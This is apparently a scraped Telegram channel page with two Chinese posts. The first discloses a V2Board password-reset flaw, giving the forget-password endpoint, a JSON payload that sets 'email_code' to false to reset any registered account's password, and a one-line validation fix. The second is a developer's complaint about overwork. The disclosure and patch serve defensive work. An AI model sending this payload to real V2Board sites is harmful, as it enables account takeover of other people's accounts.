874
Obunachilar
-224 soatlar
-107 kunlar
-1830 kunlar
Postlar arxiv
874
V2Board及其所有分支漏洞,影响全部版本,该漏洞可修改一切已注册用户账号密码
复现方式:
API端点:api/v1/passport/auth/forget
Payload:
{
"email":"任意一个已注册用户",
"password": "密码",
"email_code": false
}
即可重置对应账户密码
最小改动修复方式:
app/Http/Requests/Passport/AuthForget.php
找到'email_code' => 'required'
改成'email_code' => 'required|string|digits:6'874
我就像生产队的驴
催我改主题
催我改后端
催我打游戏
催我写脚本
催我写APP
催我写Openwrt
催我找内鬼
催我写配置
催我修BUG
催我接自动化
催我穿女装
催我申请公司
催我开发者账号
催我修服务器
催我配BGP
催我Figma设计
催我迭代AI
有点快要坚持不下去了
